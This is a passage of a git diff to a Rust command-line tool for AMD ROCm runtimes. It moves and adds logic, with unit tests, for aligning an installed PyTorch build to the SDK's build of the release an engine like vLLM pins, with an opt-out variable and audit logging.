"2.11.0+rocm7.14.0".to_owned(), - to: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - Some(&RuntimeDeviceCheck::KernelFailed { - torch_version: "2.11.0+rocm7.14.0".to_owned(), - error: "HIP error: hipErrorInvalidImage".to_owned(), - }), - ); - - assert!( - rendered.contains("before this replacement: kernel_failed (torch 2.11.0+rocm7.14.0)"), - "the before verdict names itself and the torch it judged: {rendered}" - ); - assert!( - rendered.contains("device_check below is after it"), - "the reader is told which of the two blocks is which: {rendered}" - ); - } - - #[test] - fn only_a_realignment_reports_a_before_verdict() { - // Every other outcome left the runtime as it was, so the device_check - // below is already about the same torch this block names. A before/after - // pair there would invite reading a change into an outcome that made none. - let before = RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }; - - for outcome in [ - TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - }, - TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - }, - TorchAlignment::Unavailable { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.11.0+gitd0c8b1f".to_owned(), - }, - ] { - let rendered = render_torch_alignment(&outcome, "vllm", Some(&before)); - assert!( - !rendered.contains("before this replacement"), - "{outcome:?} replaced nothing: {rendered}" - ); - } - } - - #[test] - fn an_already_aligned_runtime_reports_the_version_it_kept() { - // Every refresh after the first lands here, so this is the most frequently - // printed of the five outcomes. - let rendered = render_torch_alignment( - &TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: already_aligned (2.11.0+rocm7.13.0)\n")); - } - #[test] fn a_managed_python_runtime_is_settled() { assert!(settles_runtime_torch("vllm", Some(true))); @@ -2968,271 +1444,6 @@ pub(crate) mod tests { assert!(!settles_runtime_torch("lemonade", Some(true))); } - #[test] - fn an_already_correct_runtime_is_left_alone() { - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+rocm7.13.0"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert_eq!( - plan, - TorchAlignmentPlan::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned() - } - ); - } - - #[test] - fn a_loose_torch_requirement_is_not_second_guessed() { - // Without an exact pin there is no release to carry over, so the engine's - // resolution stands rather than being overridden on a guess. - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+gitd0c8b1f"), - Some("torch>=2.10"), - "vllm", - ); - - assert!( - matches!(plan, TorchAlignmentPlan::NotApplicable(reason) if reason.contains("exact")), - "a non-pinned requirement must be left alone" - ); - } - - #[test] - fn an_unidentified_sdk_build_is_not_acted_on() { - // Nothing to carry over, so guessing a build would be worse than doing - // nothing and letting the device check report the result. - let plan = plan_torch_alignment( - None, - Some("2.11.0+gitd0c8b1f"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert!(matches!(plan, TorchAlignmentPlan::NotApplicable(_))); - } - - /// The build comes from the manifest, not from whatever torch is installed. - /// - /// This is what makes a runtime already overwritten by the engine recoverable: - /// reading the environment would call the engine's build the SDK's and leave the - /// runtime broken for good. `plan_torch_alignment` takes the build as an opaque - /// argument, so the property lives here, in the lookup that produces it. - #[test] - fn the_sdk_build_is_read_from_the_manifest_not_the_environment() { - let mut manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); - manifest.sdk_torch = Some("2.11.0+rocm7.13.0".to_owned()); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.13.0"), - "the recorded SDK torch names the build" - ); - } - - /// Manifests written before `sdk_torch` existed still have to yield a build. - /// - /// These are the runtimes already on real machines, so this fallback is the - /// repair path rather than a nicety. TheRock names the build `rocm`. - #[test] - fn a_manifest_without_a_recorded_torch_derives_the_build_from_the_sdk_version() { - let manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); - assert!( - manifest.sdk_torch.is_none(), - "this test is about the pre-change manifest shape" - ); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.13.0") - ); - } - - /// A dated alpha carries its date into the build, and must not be trimmed. - /// - /// Nightly SDKs version as `7.14.0a20260812`, and TheRock's torch for one is - /// `+rocm7.14.0a20260812` — the date is part of the build, not decoration on - /// the version. Shortening it to the `7.14.0` release would name a build that - /// exists for a different SDK, so the alignment would install a torch built - /// against libraries the runtime does not have. The fallback is a whole-string - /// interpolation today; this pins that, because the tempting "clean up the - /// version first" refactor is the one that breaks every nightly runtime. - #[test] - fn a_dated_alpha_sdk_keeps_its_date_in_the_derived_build() { - let manifest = test_runtime_manifest_for_update( - "wheel-gfx94x", - "gfx94x", - "gfx94x-dcgpu", - "7.14.0a20260812", - ); - assert!( - manifest.sdk_torch.is_none(), - "this test is about the pre-change manifest shape" - ); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.14.0a20260812") - ); - } - - /// A manifest that names no version at all must not invent a build. - #[test] - fn a_manifest_with_no_version_identifies_no_build() { - let mut manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", " "); - manifest.sdk_torch = None; - - assert_eq!(sdk_torch_build_from_manifest(&manifest), None); - } - - /// A torch the user installed themselves is kept, and named as kept. - /// - /// The Python does not exist and an index is supplied, so an alignment that - /// still ran would reach the install and come back `InstallFailed`. Getting - /// the divergence described instead — the build that was not installed, and - /// the one still there — is what shows the rewrite was skipped rather than - /// attempted and then reported differently. - #[test] - fn disabling_alignment_keeps_the_installed_torch_and_says_what_it_declined() { - let mut env = ScopedTestEnv::new(); - env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.9.0+cpu".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - Some("https://example.invalid/simple"), - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - } - ); - } - - /// Unset, the rewrite is attempted as usual. - /// - /// Paired with the test above so the opt-out cannot appear to work for an - /// unrelated reason. The index is withheld here on purpose: it is the first - /// thing read after the gate, so the call stops there rather than reaching a - /// real install, and the outcome still tells the two paths apart. - #[test] - fn alignment_runs_unless_the_variable_is_set() { - let mut env = ScopedTestEnv::new(); - env.clear("ROCM_CLI_DISABLE_TORCH_ALIGNMENT"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.9.0+cpu".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - None, - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::NotApplicable( - "the runtime manifest records no wheel index to install from".to_owned() - ), - "the opt-out must not fire when the variable is unset" - ); - } - - /// Opting out of a rewrite that was never due reports the runtime as it is. - /// - /// `Disabled` says a replacement was declined. On a runtime already holding - /// the SDK's build there was none to decline, and saying otherwise would send - /// the reader looking for a torch that was spared when nothing was. - #[test] - fn disabling_alignment_over_an_aligned_runtime_still_reports_it_aligned() { - let mut env = ScopedTestEnv::new(); - env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.11.0+rocm7.13.0".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - Some("https://example.invalid/simple"), - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - } - - /// The kept torch is a deliberate divergence, and the remedy is not reinstall. - /// - /// The engine's pin is unsatisfied on purpose here, so reporting a violation - /// would answer the user's instruction with an error — and the remedy that - /// comes with it, `--reinstall`, is the one action that would undo the very - /// decision they made. - #[test] - fn a_disabled_alignment_diverges_on_torch_without_offering_a_reinstall() { - let outcome = TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - }; - assert_eq!(deliberately_diverged_package(&outcome), Some("torch")); - - let rendered = render_torch_alignment(&outcome, "vllm", None); - assert!( - rendered.contains(" torch_alignment: disabled\n"), - "the block has to name the state, got {rendered:?}" - ); - assert!( - rendered.contains( - "ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping 2.9.0+cpu rather than installing 2.11.0+rocm7.13.0" - ), - "the block has to name the variable and both builds, got {rendered:?}" - ); - - let dependencies = classify_dependency_details( - vec![ - "The package `vllm` requires `torch==2.11.0+gitd0c8b1f`, but `2.9.0+cpu` is installed".to_owned(), - ], - deliberately_diverged_package(&outcome), - ); - assert!(matches!( - dependencies, - EngineDependencyCheck::ExpectedDivergence(_) - )); - let rendered = render_engine_dependency_check("vllm", &dependencies); - assert!( - !rendered.contains("--reinstall"), - "the remedy would undo the opt-out, got {rendered:?}" - ); - } - /// Opting out suppresses the correction, not the diagnosis. /// /// The escape hatch exists because the SDK's build does not always work, so it diff --git a/apps/rocm/src/runtime_install_finalize/torch_alignment.rs b/apps/rocm/src/runtime_install_finalize/torch_alignment.rs new file mode 100644 index 0000000000..9fd8621208 --- /dev/null +++ b/apps/rocm/src/runtime_install_finalize/torch_alignment.rs @@ -0,0 +1,1263 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Torch alignment and retention for an engine install on a managed runtime: +//! deciding whether the SDK's torch must be realigned to the engine's pin or +//! kept as an intended divergence, running and reporting the realignment, and +//! reading the runtime's interpreter, library paths, index URL and torch build +//! from its manifest. +//! +//! Relocated from `runtime_install_finalize.rs` with no behavior change. +//! +//! A child of `runtime_install_finalize.rs`: it uses the parent's device check +//! (`RuntimeDeviceCheck`, `device_check_verdict`), which stays there for good. +//! As a crate-level sibling it would form a cycle with the parent, which calls +//! into it from `settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`. + +use std::fmt::Write as _; +use std::path::{Path, PathBuf}; + +use anyhow::Result; +use rocm_core::AppPaths; + +use super::{RuntimeDeviceCheck, device_check_verdict}; +use crate::engines_cmd::runtime_manifest_for_selector; +use crate::therock; +use crate::{record_cli_audit_event, sanitize_log_value}; + +/// The Python interpreter of the managed runtime `runtime_key`, when its manifest names +/// one. Used to check an environment whose engine install did not get far enough to +/// report its own interpreter. +pub(super) fn runtime_python_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + manifest.python_executable.as_deref().map(PathBuf::from) +} + +/// The runtime's recorded ROCm library directories. +/// +/// These are what a served process gets on its loader path, so a probe must use +/// them too or it will judge a healthy runtime unusable. +pub(super) fn runtime_library_paths_for_key(paths: &AppPaths, runtime_key: &str) -> Vec { + let Ok(manifests) = therock::load_runtime_manifests(paths) else { + return Vec::new(); + }; + runtime_manifest_for_selector(&manifests, runtime_key) + .and_then(|manifest| manifest.rocm_sdk.as_ref()) + .map(|probe| probe.library_paths.clone()) + .unwrap_or_default() +} + +/// The wheel index the runtime was installed from. +fn runtime_index_url_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + manifest.index_url.clone() +} + +/// Which torch a runtime should hold once an engine has been installed into it. +/// +/// Two installers write torch into the same environment. The SDK install writes +/// TheRock's build; the engine then writes the build from its own index, pinned +/// to an exact version. Letting either side win unconditionally is wrong, and +/// both failures have been observed in the field: +/// +/// * If the engine's build always wins, the runtime can end up with a torch that +/// loads against the installed SDK and then enumerates no devices, so serving +/// fails with an unhelpful error long after the install reported success. +/// * If the SDK's build always wins, the runtime can end up on a torch that +/// enumerates a device and still has no kernel image for this exact target, +/// failing on the first tensor operation instead. +/// +/// So compatibility is tested rather than assumed. A torch already executing a +/// GPU kernel with this SDK is kept exactly as it is — that decision is +/// `TorchRetention`, and it runs first. This alignment is the repair for +/// everything else, and what it installs is the SDK's *build* of the *release* +/// the engine pins: the release comes from the engine, which is built against it, +/// and the build comes from the SDK, which the libraries belong to. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum TorchAlignment { + /// The runtime already holds the SDK build of the engine's torch release. + AlreadyAligned { version: String }, + /// The engine's build was replaced with the SDK build of the same release. + Realigned { from: String, to: String }, + /// The SDK publishes no build of that release; the engine's own is kept. + /// + /// Claimed only when the resolver actually said so. Any other failure is an + /// `InstallFailed`, because asserting "not published" over a network or disk + /// error sends the reader hunting for a missing wheel that exists. + Unavailable { wanted: String, kept: String }, + /// The realignment install failed for some other reason, carried verbatim. + InstallFailed { + wanted: String, + kept: String, + error: String, + }, + /// The user opted out, and a replacement was due: their torch is kept. + /// + /// Distinct from every other outcome because nothing was attempted. Reading + /// it as `NotApplicable` would say the rule had no opinion, when it had one + /// and was told not to act on it, and that difference is what the reader + /// needs: `wanted` is the build that was not installed, `kept` the one still + /// there. Only reachable when those two actually differ, so a runtime the + /// opt-out changed nothing about is never described as one it spared. + Disabled { wanted: String, kept: String }, + /// Nothing to decide — no exact pin, no engine metadata, or no SDK torch. + NotApplicable(String), +} + +/// What the alignment rule concludes, before any of it is acted on. +#[derive(Debug, Clone, PartialEq, Eq)] +enum TorchAlignmentPlan { + AlreadyAligned { version: String }, + Install { wanted: String, from: String }, + NotApplicable(String), +} + +/// The rule itself, kept free of I/O so both field failures can be tested. +/// +/// `wanted` is the engine's pinned *release* carrying the SDK's *build*. +fn plan_torch_alignment( + sdk_build: Option<&str>, + installed_torch: Option<&str>, + engine_requirement: Option<&str>, + engine: &str, +) -> TorchAlignmentPlan { + let Some(sdk_build) = sdk_build else { + return TorchAlignmentPlan::NotApplicable( + "the runtime manifest does not identify the SDK's torch build".to_owned(), + ); + }; + let Some(requirement) = engine_requirement else { + return TorchAlignmentPlan::NotApplicable(format!("{engine} does not pin torch")); + }; + let Some(pinned) = therock::requirement_pinned_version(requirement) else { + return TorchAlignmentPlan::NotApplicable(format!( + "{engine} does not pin torch to an exact version ({requirement})" + )); + }; + let wanted = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); + let installed = installed_torch.unwrap_or_default().to_owned(); + if installed == wanted { + TorchAlignmentPlan::AlreadyAligned { version: wanted } + } else { + TorchAlignmentPlan::Install { + wanted, + from: installed, + } + } +} + +/// Whether a failed install means the resolver could not find that version. +/// +/// Deliberately narrow. Anything unmatched is reported as a plain failure with +/// its error, so an unrecognised message degrades to the honest answer rather +/// than to a confident wrong one. +fn install_error_reports_version_unavailable(error: &str) -> bool { + let error = error.to_ascii_lowercase(); + error.contains("no solution found") + || error.contains("were found for") + || error.contains("not found in the package registry") + || error.contains("has no version") +} + +/// Whether the user has opted out of realigning torch. +/// +/// The alignment rewrites a package the user may have installed deliberately, and +/// it runs on every path that installs an engine, so a hand-installed torch is +/// otherwise replaced again by the next `engines install`, `install sdk`, or +/// `engines shell`. The stack this resolves to — the SDK's build of the release +/// the engine pins — is not validated against the supported matrix, so "the SDK's +/// build does not work on this machine" is a case that can happen rather than a +/// hypothetical one, and it needs an exit that is not "stop using the CLI". +/// +/// The engine reads the same variable through the same helper, so the two sides +/// cannot drift; [`rocm_core::torch_alignment_disabled`] carries why that matters. +/// Suppressing the correction does not suppress the diagnosis: a runtime that +/// opens no device or cannot run a kernel on one is still reported as such — and +/// still fails the install on a host where a GPU was found. +fn torch_alignment_disabled() -> bool { + rocm_core::torch_alignment_disabled() +} + +/// Install the SDK's build of the release the engine pins, when that is needed. +/// +/// `torch` is the metadata probe the caller already took: the retention decision +/// that runs first needs the engine's pin too, and asking the runtime the same +/// question twice would be a second interpreter launch for an answer in hand. +/// +/// The opt-out is read where the install would run, not at the top. That is the +/// only place it changes anything, and reading it there is what lets the result +/// name the replacement it declined to make: a runtime with no replacement due +/// reports what it is, rather than reporting an opt-out that skipped nothing. +fn align_runtime_torch( + paths: &AppPaths, + python: &Path, + index_url: Option<&str>, + sdk_build: Option<&str>, + engine: &str, + torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, +) -> TorchAlignment { + let probe = match torch { + Ok(probe) => probe, + Err(error) => return TorchAlignment::NotApplicable(error.to_string()), + }; + let plan = plan_torch_alignment( + sdk_build, + probe.installed_torch.as_deref(), + probe.engine_requires_torch.as_deref(), + engine, + ); + let (wanted, from) = match plan { + TorchAlignmentPlan::AlreadyAligned { version } => { + return TorchAlignment::AlreadyAligned { version }; + } + TorchAlignmentPlan::NotApplicable(reason) => { + return TorchAlignment::NotApplicable(reason); + } + TorchAlignmentPlan::Install { wanted, from } => (wanted, from), + }; + // Read only now that a replacement is actually due, so the opt-out reports + // the install it stopped rather than standing in for a runtime that needed + // nothing. Everything after this point is the rewrite itself. + if torch_alignment_disabled() { + return TorchAlignment::Disabled { wanted, kept: from }; + } + let Some(index_url) = index_url else { + return TorchAlignment::NotApplicable( + "the runtime manifest records no wheel index to install from".to_owned(), + ); + }; + match therock::install_pinned_package( + paths, + python, + index_url, + "torch", + &format!("torch=={wanted}"), + ) { + Ok(()) => TorchAlignment::Realigned { from, to: wanted }, + // The SDK index may not publish this release at all. That is a real + // possibility, not an error to abort on: the engine's own build is left + // in place and the device check that follows reports whether it works. + Err(error) => { + let error = format!("{error:#}"); + if install_error_reports_version_unavailable(&error) { + TorchAlignment::Unavailable { wanted, kept: from } + } else { + TorchAlignment::InstallFailed { + wanted, + kept: from, + error, + } + } + } + } +} + +/// Render one alignment outcome as the `torch_alignment:` check block. +/// +/// `engine` names the engine whose pin decided the release, so the realigned line +/// reads `... the release vllm pins` rather than an anonymous "the engine". It +/// arrives from the engine selection and is sanitized like every other +/// interpolated value. +/// +/// `before` is the verdict the runtime gave *prior* to the realignment. Only the +/// realigned outcome replaced anything, so only that arm prints it — and it must, +/// because the `device_check:` block further down reports the runtime as it is +/// now. Without the before verdict beside it, a realignment that ends in a +/// failing runtime does not say whether the alignment broke something that +/// worked or found something already broken, and answering that afterwards means +/// going to the machine to look. The value is already in hand at the call site; +/// dropping it only moves the cost onto whoever reads the output. +fn render_torch_alignment( + outcome: &TorchAlignment, + engine: &str, + before: Option<&RuntimeDeviceCheck>, +) -> String { + let mut output = String::new(); + match outcome { + TorchAlignment::AlreadyAligned { version } => { + let _ = writeln!( + output, + " torch_alignment: already_aligned ({})", + sanitize_log_value(version) + ); + } + TorchAlignment::Realigned { from, to } => { + let _ = writeln!(output, " torch_alignment: realigned"); + let _ = writeln!( + output, + " {} -> {} (the SDK's build of the release {} pins)", + sanitize_log_value(from), + sanitize_log_value(to), + sanitize_log_value(engine) + ); + if let Some(before) = before { + let _ = writeln!( + output, + " before this replacement: {} (device_check below is after it)", + sanitize_log_value(&device_check_verdict(before)) + ); + } + } + TorchAlignment::Unavailable { wanted, kept } => { + let _ = writeln!(output, " torch_alignment: unavailable"); + let _ = writeln!( + output, + " the SDK index publishes no {}; keeping {}", + sanitize_log_value(wanted), + sanitize_log_value(kept) + ); + } + TorchAlignment::InstallFailed { + wanted, + kept, + error, + } => { + let _ = writeln!(output, " torch_alignment: install_failed"); + let _ = writeln!( + output, + " could not install {}: {}", + sanitize_log_value(wanted), + sanitize_log_value(error) + ); + let _ = writeln!(output, " keeping {}", sanitize_log_value(kept)); + } + TorchAlignment::Disabled { wanted, kept } => { + let _ = writeln!(output, " torch_alignment: disabled"); + let _ = writeln!( + output, + " ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping {} rather than installing {}", + sanitize_log_value(kept), + sanitize_log_value(wanted) + ); + } + TorchAlignment::NotApplicable(reason) => { + let _ = writeln!( + output, + " torch_alignment: not_applicable ({})", + sanitize_log_value(reason) + ); + } + } + output +} + +/// Repair the runtime's torch, print the `torch_alignment:` block, and record it. +/// +/// Reached only when no torch in the runtime has proven it can run a GPU kernel. +/// The outcome is returned so the dependency check that follows can be read +/// against it: `deliberately_diverged_package` turns it into the one package +/// whose divergence is intended. +pub(super) fn report_torch_alignment( + paths: &AppPaths, + engine: &str, + python: &Path, + runtime_key: &str, + sdk_build: Option<&str>, + torch: Result<&therock::TorchAlignmentProbe, &anyhow::Error>, + before: &RuntimeDeviceCheck, +) -> TorchAlignment { + let index_url = runtime_index_url_for_key(paths, runtime_key); + let outcome = align_runtime_torch( + paths, + python, + index_url.as_deref(), + sdk_build, + engine, + torch, + ); + print!("{}", render_torch_alignment(&outcome, engine, Some(before))); + let (level, message) = match &outcome { + TorchAlignment::AlreadyAligned { version } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=already_aligned version={version}" + ), + ), + // The before verdict rides along in the audit line too: the log is read + // long after the install, when the runtime on disk can no longer answer + // what it was like beforehand. + TorchAlignment::Realigned { from, to } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=realigned from={from} to={to} before={}", + device_check_verdict(before) + ), + ), + TorchAlignment::Unavailable { wanted, kept } => ( + "error", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=unavailable wanted={wanted} kept={kept}" + ), + ), + TorchAlignment::InstallFailed { + wanted, + kept, + error, + } => ( + "error", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=install_failed wanted={wanted} kept={kept}: {error}" + ), + ), + // The user's own decision, carried out as asked, so it is not an error. + // The device check that follows is what says whether the torch they kept + // works, and that verdict is recorded — and enforced — on its own. + TorchAlignment::Disabled { wanted, kept } => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=disabled kept={kept} wanted={wanted}" + ), + ), + TorchAlignment::NotApplicable(reason) => ( + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment=not_applicable: {reason}" + ), + ), + }; + record_cli_audit_event(paths, "engine", "torch_alignment", level, message, None); + outcome +} + +/// The package the runtime now deliberately diverges on, if any, so the +/// dependency check can tell that divergence apart from a real violation. +/// +/// Both `Realigned` and `AlreadyAligned` diverge from the engine's exact pin — +/// the second is a rerun over a runtime already put right, which is the normal +/// state on every refresh after the first. +/// +/// `Disabled` counts for the same reason, from the other direction: the torch +/// that does not satisfy the pin is the one the user told us to leave alone, so +/// reporting it as a violation would answer their instruction with an error and +/// a `--reinstall` remedy that would undo it. It is only ever constructed over a +/// real mismatch, so this never suppresses a divergence that is not there. +/// +/// `Unavailable` and `InstallFailed` stay excluded. Nothing was replaced there +/// either, but nothing was intended either — the repair was attempted and did +/// not happen — so whatever the dependency check finds is a real finding. +pub(super) const fn deliberately_diverged_package( + outcome: &TorchAlignment, +) -> Option<&'static str> { + match outcome { + TorchAlignment::Realigned { .. } + | TorchAlignment::AlreadyAligned { .. } + | TorchAlignment::Disabled { .. } => Some("torch"), + TorchAlignment::Unavailable { .. } + | TorchAlignment::InstallFailed { .. } + | TorchAlignment::NotApplicable(_) => None, + } +} + +/// The build identifier of the torch that belongs to this runtime's SDK. +/// +/// Taken from the manifest, never from whatever torch happens to be installed. +/// The environment tells you what is there now, which after an engine install is +/// the engine's build — trusting that would let a runtime already holding the +/// wrong torch declare itself correct and never recover. +/// +/// Older manifests predate the recorded value, so fall back to deriving it from +/// the SDK version, which is how TheRock names these builds. +pub(super) fn sdk_torch_build_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + sdk_torch_build_from_manifest(manifest) +} + +/// The build identifier one manifest names, with the fallback for older manifests. +/// +/// Split out from the lookup so the decision can be tested without a registry on +/// disk: the lookup is a directory scan, but this is the part that has to be right +/// for a runtime already stuck on the engine's build to recover. +fn sdk_torch_build_from_manifest(manifest: &therock::InstalledRuntimeManifest) -> Option { + if let Some(recorded) = manifest.sdk_torch.as_deref() + && let Some(build) = therock::split_local_version(recorded).1 + { + return Some(build.to_owned()); + } + let version = manifest + .rocm_sdk + .as_ref() + .and_then(|probe| probe.rocm_sdk_version.clone()) + .unwrap_or_else(|| manifest.version.clone()); + (!version.trim().is_empty()).then(|| format!("rocm{version}")) +} + +/// Which torch a runtime keeps once one of them has run a GPU kernel. +/// +/// Exactly two builds are allowed to stand: the engine's own exact pin, and the +/// SDK's build of the release it pins. Both are states this tool produces on +/// purpose, and each is a fixed point — a rerun over either one keeps it and +/// installs nothing, which is what stops `--reinstall` from oscillating between +/// the two package sources. Anything else is repaired by `TorchAlignment`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum TorchRetention { + /// The engine's exact pin ran a kernel. It satisfies the pin, so it diverges + /// from nothing and the dependency check is read straight. + EngineBuild { version: String }, + /// The SDK's build of the pinned release ran. The engine's pin stays + /// deliberately unsatisfied, which the dependency check is told to expect. + SdkBuild { version: String }, + /// Nothing here has been shown to work: align, then look again. + Realign, +} + +/// Decide retention from the torch that actually executed a kernel. +/// +/// The version compared is the one the running interpreter reported, not the one +/// distribution metadata claims: the build that ran is the build being kept. The +/// engine's pin is checked first, so a pin that already names the SDK's build is +/// reported as satisfied rather than as an intended divergence from itself. +pub(super) fn classify_retained_torch( + sdk_build: Option<&str>, + devices: &RuntimeDeviceCheck, + engine_requirement: Option<&str>, +) -> TorchRetention { + // Only a kernel that ran earns retention. Every other verdict — no devices, + // a failed launch, or no answer at all — goes to the repair path, which is + // also what this tool did before it could tell those apart. + let RuntimeDeviceCheck::Usable { torch_version, .. } = devices else { + return TorchRetention::Realign; + }; + let Some(pinned) = engine_requirement.and_then(therock::requirement_pinned_version) else { + return TorchRetention::Realign; + }; + if torch_version.as_str() == pinned { + return TorchRetention::EngineBuild { + version: torch_version.clone(), + }; + } + let Some(sdk_build) = sdk_build else { + return TorchRetention::Realign; + }; + // The same version `plan_torch_alignment` would install, so the state that + // repair produces is the state recognised here on the next run. + let sdk_torch = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); + if torch_version.as_str() == sdk_torch { + return TorchRetention::SdkBuild { + version: torch_version.clone(), + }; + } + TorchRetention::Realign +} + +/// The package a retained torch deliberately diverges on, if any. +/// +/// The SDK's build does not satisfy the engine's exact pin and is kept anyway; +/// the engine's own build satisfies it, so claiming a divergence there would +/// suppress a violation that has not happened. +pub(super) const fn retained_diverged_package(retention: &TorchRetention) -> Option<&'static str> { + match retention { + TorchRetention::SdkBuild { .. } => Some("torch"), + TorchRetention::EngineBuild { .. } | TorchRetention::Realign => None, + } +} + +/// Render a retention as the `torch_alignment:` block, in place of an alignment. +/// +/// `Realign` renders nothing: nothing was retained, and `render_torch_alignment` +/// prints the block for the repair that runs instead. +fn render_torch_retention(retention: &TorchRetention, engine: &str) -> String { + let mut output = String::new(); + match retention { + TorchRetention::EngineBuild { version } => { + let _ = writeln!( + output, + " torch_alignment: retained_engine_build ({})", + sanitize_log_value(version) + ); + let _ = writeln!( + output, + " the torch {} pins ran a GPU kernel with this SDK", + sanitize_log_value(engine) + ); + } + TorchRetention::SdkBuild { version } => { + let _ = writeln!( + output, + " torch_alignment: retained_sdk_build ({})", + sanitize_log_value(version) + ); + let _ = writeln!( + output, + " the SDK's build of the release {} pins ran a GPU kernel", + sanitize_log_value(engine) + ); + } + TorchRetention::Realign => {} + } + output +} + +/// Print the retention block and record it. `Realign` records nothing. +pub(super) fn report_torch_retention( + paths: &AppPaths, + engine: &str, + runtime_key: &str, + retention: &TorchRetention, +) { + print!("{}", render_torch_retention(retention, engine)); + let (state, version) = match retention { + TorchRetention::EngineBuild { version } => ("retained_engine_build", version), + TorchRetention::SdkBuild { version } => ("retained_sdk_build", version), + TorchRetention::Realign => return, + }; + record_cli_audit_event( + paths, + "engine", + "torch_alignment", + "info", + format!( + "engine={engine} runtime_id={runtime_key} torch_alignment={state} version={version}" + ), + None, + ); +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::runtime_install_finalize::{ + EngineDependencyCheck, classify_dependency_details, render_engine_dependency_check, + }; + use crate::tests::{ScopedTestEnv, test_app_paths, test_runtime_manifest_for_update}; + + /// The engine's build enumerates no devices against the installed SDK. + /// + /// Observed on MI300X: the engine pins a torch built for a different ROCm + /// version, installs it over the SDK's, and the runtime then reports zero + /// devices. The release is right; only the build is wrong. + #[test] + fn the_engines_build_is_replaced_by_the_sdk_build_of_the_same_release() { + let plan = plan_torch_alignment( + Some("rocm7.13.0"), + Some("2.11.0+gitd0c8b1f"), + Some("torch==2.11.0+gitd0c8b1f"), + "vllm", + ); + + assert_eq!( + plan, + TorchAlignmentPlan::Install { + wanted: "2.11.0+rocm7.13.0".to_owned(), + from: "2.11.0+gitd0c8b1f".to_owned(), + } + ); + } + + /// The SDK picked a torch *release* the engine does not accept. + /// + /// The mirror-image failure: here the SDK's own choice is the wrong one, and + /// simply keeping it would break the engine. The rule takes the release the + /// engine pins while still keeping the SDK's build of it — so neither the + /// engine's build nor the SDK's release selection wins outright. + #[test] + fn the_sdks_release_is_corrected_to_the_one_the_engine_pins() { + // The installed torch already carries the SDK's build, so the build is not + // what is wrong here — the release is. Pinning it needs the two sides to + // disagree on the release and agree on the build, which is the opposite of + // the case above; identical arguments to it would only restate that one. + let plan = plan_torch_alignment( + Some("rocm7.14.0a20260611"), + 